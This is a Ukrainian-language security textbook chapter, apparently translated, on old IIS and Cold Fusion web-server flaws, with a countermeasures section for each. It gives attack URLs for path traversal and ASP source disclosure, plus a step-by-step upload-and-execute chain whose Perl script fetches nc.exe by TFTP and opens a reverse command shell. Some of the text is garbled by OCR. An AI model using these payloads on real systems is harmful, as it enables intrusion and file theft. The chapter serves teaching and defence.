Уразливість активних сторінок
сервера
Активні
сторінки сервера (ASP — Active Server Pages) є розробкою компанії Microsoft, аналогічною сценаріям Perl і інтерфейсу Cg1 системи UNIX. Зазвичай написаний на мові Vbscript, код ASP виконує багато що з того, що необхідне для підтримки стану, забезпечення доступу до серверної частини бази даних і відображення коди HTML у вікні броузера. Однією з приємних особливостей сторінок ASP є те, що вони можуть "на льоту" генерувати сторінки HTML. Іншою малоприємною особливістю є численні вади сторінок ASP, що дозволяють зломщикові проглядати їх початковий код. Чому це погано? По-перше, тому, що зломщик, вивчаючи логіку програми, може виявити і інші вади. По-друге, він може знайти в цих файлах таку важливу інформацію, як база даних імен і паролів користувачів.
Помилка ASP, пов'язана з інтерпретацією крапки
Одін з членів групи Lopht в 1997 році виявив помилку, яка виникає, якщо одну або декілька крапок поставити після адреси URL сторінки ASP сервера IIS 3.0. При цьому можна проглянути початковий код ASP і проаналізувати логіку цієї програми. Ще важливіше те, що в даному файлі можна знайти таку важливу інформацію, як імена і паролі користувачів. Щоб скористатися цією можливістю, потрібно просто додати крапку після
URL.
Контрзаходи
Хороша новина полягає в тому, що компанія Microsoft випустила модуль оновлення для сервера IIS 3.0.
Проте є
і погана новина: випушенний модуль оновлення породила інша вада. Заміна в імені файлу example, asp крапки на її шістнадцятиричне уявлення (0х2е) як і раніше дозволяє зломщикові завантажити на свій комп'ютер файл з початковим кодом
ASP.
Уразливість ASP, пов'язана з альтернативними потоками даних
Вперше про цю ваду в бюлетені Bugtraq повідомив Пауль Ештон (Paul Ashton). В даному випадку також можна завантажити початковий код сторінок ASP. Цією можливістю легко скористатися, тому вона стала досить популярна серед новачків. Просто задайте URL в наступному форматі.
http://192.168.51.101/scripts/file.asp::$data
Якщо метод спрацював, броузер Netscape попросить вказати місце, в якому потрібно зберегти файл. Броузер Internet Explorer за умовчанням покаже початковий файл в діалоговому вікні. Після цього його можна зберегти і проглядати в будь-якому текстовому редакторові.
Контрзаходи
Для посилення захисту обмежте доступ до всіх початкових файлів, відмінивши право на читання для групи Everyone. Врешті-решт, для початкового код цілком достатньо дозволу на виконання.
Вади showcode. asp і codebrws. asp
Розглянемо
ще одну ваду, що має відношення до IIS 4.0, який пов'язаний з можливістю проглядання початкової коди ASP. Його відмінність від розглянутих вище помилок полягає в тому. що сам по собі ця вада не є помилкою, а є прикладом поганого програмування. Якщо в процесі установки сервера IIS 4.0 будуть скопійовані також файли з прикладами початкової коди ASP, то декілька погано написаних файлів дозволять зломщикові завантажити на свій комп'ютер інші файли. Проблема полягає в нездатності сценаріїв обробляти символи .., що містяться в дорозі до файлу. У наступному прикладі використання файлу showcode.asp приведе до відображення файлу boot.ini зламуваної системи (якщо доступ обмежений трохи, то проглянути можна будь-який файл).
http: //192.168. 51.101/msadc/samples/
Selector/showcode. asp?source=/../../../../../boot.ini
Так само, за допомогою файлу codebrws.asp можна проглянути будь-який файл, який знаходиться на локальному диску. Як згадувалося в розділі 13, можна спробувати знайти файли з розширенням GIF програми pcanywhere.
http://192.168.51.101/iissamples/exair/howitworks/
codebrws.asp?source=/../../../../../winnt/repair/setup.log
Вади showcode.asp і codebrws.asp неможливо використовувати для коректного завантаження з цільового вузла двійкових файлів. Причина полягає в тому, що сценарій ASP зазвичай перетворює файли. Перетворення такого файлу, як SAM._, приведе до його пошкодження і зробить його непридатним для використання. Проте це не перешкодить умілому хакерові відновити структуру файлу SAM і скористатися отриманою інформацією.
Контрзаходи проти використання вад у
файлах Аsр
Розглянуті вище проблеми можна вирішити, встановивши модуль оновлення сервера IIS. Цей модуль, а також статтю Q232449 з бази знань компанії Microsoft, можна знайти за адресою ftp://ftp.microsoft.com/ bussys/iis/iis-public/ fixes/usa/viewcode-fix/.
Вада webhits.dll
Ряд проблем,
пов'язаних з можливістю проглядання файлів, були виявлені групою CIS (Cerberus Information Security). Ці вади пов'язані з додатком ISAPI webhits.dll. Ета бібліотека, що динамічно підключається, реалізує механізм виділення інформації в процесі функціонування MS Index Server. Проте її наявність робить можливим злом, при якому зловмисник проглядає важливі початкові коди ASP або іншу інформацію, що міститься на локальному диску. Перша з можливих атак починається з використання існуючого файлу . HTW для проглядання початкової коди.
Друга атака пов'язана з передачею системі імені неіснуючого файлу. Як основа використовується існуючий файл і символи пропуску (%20), число яких перевищує 230, і які розташовані між ім'ям реального файлу (default.asp) і розширенням . HTW. При цьому інформаційні служби Internet ігнорують розширення (.HTW) і надають в розпорядження зломщика будь-який файл системи:
http://192.168.51.101/default.asp%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%2С%20%20%20
%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%2с%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20% 20%20%20%20%20%20
.htw?CiWebHitsFile=/../../../../../test.
txt&cir
estriction=none&cihilitetype=full
Третя .HTW-атака заснована на використанні імені файлу null.htw для приміщення у вікно броузера необробленого файлу:
http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/
repair/setup.log&CiRestriction=none&CiHiliteType=Full
Використання попередньої адреси URL приведе до того, що сервер IIS надасть файл
/winnt/repair/setup.log.
Контрзаходи проти використання вад
бібліотеки webhits.dll
Для запобігання використанню розглянутих атак видалите додатки, пов'язані з файлами з розширенням . HTW. Для цього відкрийте діалогове вікно з основними властивостями уразливого сервера, а потім для служби WWW Service клацніть на кнопці Edit. Далі перейдіть у вкладку Home Directory і клацніть на кнопці Configuration з групи Application Settings. При цьому на екрані з'явиться наступне діалогове вікно.
Потім виділите рядок, в якому вказаний додаток, пов'язаний з файлами . HTW, і клацніть на кнопці Remove. Після цього Web-сервер більше не звертатиметься до бібліотеки webhits .dll, і, таким чином, ця вада буде усунена.
Вади сервера Coldfusion
Фахівцями
групи Lopht було виявлено декілька істотних вад в сервері додатків Cold Fusion, команд, що дозволяють здійснювати видалений запуск, на уразливому Web-сервере. В процесі установки цього програмного продукту разом з ним копіюються також приклади коди і інтерактивна документація. Причиною виявлених вад послужили декілька прикладів, взаємодія яких не обмежується тільки локальним вузлом.
Перша з проблем пов'язана зі встановлюваним за умовчанням файлом opnfile.cfm. Цей файл дозволяє зломщикові завантажити на Web-сервер будь-який файл. Інший файл, displayopenedfile.cfm, поміщає цей файл у вікно броузера. Крім того, exprcalc.cfm аналізує завантажений файл і видаляє його (в усякому разі, він для цього призначений). Використовуючи тільки файл openfile.cfm, можна ввести систему в оману, щоб вона не видаляла завантажений файл, а потім виконати локально будь-яку команду. Щоб скористатися цією можливістю, виконаєте наступні дії.
1. Створіть файл, який при завантаженні на видалений Web-сервер приведе до виконання локальної команди. Наприклад, можна скористатися наступним сценарієм Perl з ім'ям test.pl.
systemc'tftp -i 192.168.51.100 GET nc.exe");
system("nc-e cmd.exe 192.168.51.100 3000");
Цей метод спрацює в тому випадку, якщо на сервері Cold Fusion встановлений інтерпретатор мови Perl.
2. Задайте в броузере наступну адресу URL.
http://192.168.51.101/cfdocs/expeval/openfile.cfm
3. Вкажіть в полі Open File шлях до створеного файлу і клацніть на кнопці ОК.
4. У адресі URL заміните рядок D:\inetpub\wwwroot\cfdocs\expeval\test.pl на повне ім'я файлу exprcalc.cfm (з вказівкою шляху), призначеного для видалення завантажених в систему файлів. Після внесення змін URL повинен виглядати таким чином.
http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout=
2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm
5. У вікні повинен з'явитися вміст файлу exprcalc. cfm і він має бути видалений з системи. Після цього всі файли, завантажені за допомогою openfile.cfm, залишатимуться у видаленій системі.
6. Виконавши ще раз описані дії, завантажите повторно файл test.pl на видалену систему. Після цього даний файл (test.pl) чекатиме виклику.
7. За допомогою наступного URL запустите файл test.pl. http://192.168.51.101/cfdocs/expeval/test.pl
8.
Якщо перед цим були запущені сервер TFTP і утиліта netcat, то повинне з'явитися наступне запрошення (тобто командний рядок, що дозволяє виконувати команди з правами адміністратора).
С:\>пс -1 -р 3000
Microsoft(R) Windows NT(ТМ)
(С) Copyright 1985-1996 Microsoft Corp.
D:\inetpub\wwwroot\cfdocs>
Контрзаходи проти використання вад сервера Cold Fusion
Для того, щоб запобігти можливості використання вад Cold Fusion, можна скористатися двома способами:
- Видалите всі уразливі сценарії.
- Застосуєте до файлу exprcalc.cfm модуль оновлення, який можна знайти за
адресоюhttp://wwwl.allaire.com/handlers/index.cfm?ID=8727&Method=Full.
|